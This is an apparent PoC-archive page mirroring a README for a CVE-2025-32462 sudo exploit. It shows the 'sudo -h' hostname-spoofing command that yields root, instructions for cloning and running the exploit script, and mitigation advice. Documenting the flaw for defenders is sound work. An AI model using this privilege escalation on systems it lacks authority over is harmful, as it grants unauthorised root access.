Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2025-32462 PoC — Sudo 安全漏洞

Source
Associated Vulnerability
Title: Sudo 安全漏洞 (CVE-2025-32462)
Description:Sudo before 1.9.17p1, when used with a sudoers file that specifies a host that is neither the current host nor ALL, allows listed users to execute commands on unintended machines.
Description
CVE-2025-32462 Exploit
Readme
# CVE-2025-32462-Exploit: Matrix-Sudo Escape  
**Hostname Spoofing Privilege Escalation (CVE-2025-32462)**  

*"You take the blue pill... the story ends. You take the red pill... you get root."*  

## Description  
This exploit demonstrates a privilege escalation vulnerability in sudo (`CVE-2025-32462`) where hostname-based restrictions can be bypassed using the `-h` flag. The PoC creates a restricted user environment, then escapes it by spoofing a whitelisted hostname to gain root access.

```bash
[user@matrix-node]$ sudo -h zion-core bash  # Spoof whitelisted hostname
[root@matrix-node]# id                          # Got root on wrong hostname!
uid=0(root) gid=0(root) groups=0(root)
```
## Technical Details
- Vulnerable Sudo Versions: < 1.9.17
- Attack Vector: Local privilege escalation
- Key Flaw: Hostname verification bypass via sudo -h parameter
- Impact: Restricted users can gain root on improperly configured systems

## Usage
**Clone repository:**
```bash
git clone https://github.com/cybersentinelx1/CVE-2025-32462-Exploit.git
cd matrix-sudo-escape
```

**Make executable and run:**
```bash
chmod +x matrix-sudo-escape.sh
./matrix-sudo-escape.sh
```

**Follow interactive prompts to demonstrate:**
- CVE-2025-32462 vulnerability detection
- User creation
- Hostname restriction setup
- Exploit execution
- Cleanup

## Protection
- ✅ Update sudo to v1.9.17+
- ✅ Avoid hostname-based sudo restrictions
- ✅ Use group-based sudo policies instead

## Legal
For educational/research purposes only. Use only on systems you own or have permission to test.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →